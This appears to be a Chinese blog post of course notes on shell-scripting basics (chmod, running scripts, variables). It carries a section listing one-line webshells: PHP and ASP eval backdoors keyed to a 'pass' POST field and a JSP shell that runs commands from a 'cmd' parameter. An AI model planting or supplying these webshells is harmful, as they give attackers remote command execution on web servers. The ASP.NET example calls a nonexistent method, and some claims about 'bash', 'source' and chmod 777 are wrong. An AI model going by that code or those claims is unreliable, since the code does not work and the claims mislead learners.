【shell编程】shell基础之脚本创建和执行

shell基础(一)

声明:该笔记为up主 泷羽的课程笔记,本节链接指路
警告:本教程仅作学习用途,若有用于非法行为的,概不负责。


一、shell脚本创建和执行

主机:kali

命令操作
vim shell.sh创建shell.sh的方法
ls -l shell.sh用于查看文件权限
chmod 777 shell.sh赋予最高权限
./shell.sh就可以运行了
sh shell.sh没有权限执行
bash shell.sh脚本解释器,没有权限也会赋予权限执行
source shell.sh同上,但是输出的结果颜色更好看

在这里插入图片描述

name="xxx"  定义name变量,输出blankspace
echo $name
age="20"
echo my name is $name and my age is $age years old

在这里插入图片描述

可以发现他并没有把变量赋值打印出来,而是直接把变量写进来了,区别就是不加或者双引号可以输出变量,但是加入单引号他会把变量当字符串输出出来

查看变量

set | grep name 查看name变量
unset name 删除name变量

一句话shell

<?php @eval($_POST['pass']);?>  PHP 语言
<%eval request("pass")%>        ASP 语言

ASP.NET语言

以C#语法示例:

<%@ Page Language="C#" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e)
    {
        if (Request.Form["pass"]!= null)
        {
            System.Web.UI.WebControls.TextBox1.Text = (string)Microsoft.CSharp.RuntimeBinder.RuntimeBinderException.ExecuteStatement(Request.Form["pass"].ToString());
        }
    }
</script>

JSP语言

<%
if("pass".equals(request.getParameter("pass"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[1024];
    out.print("<pre>");
    while((a = in.read(b))!=-1){
        out.print(new String(b,0,a));
    }
    out.print("</pre>");
}
%>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值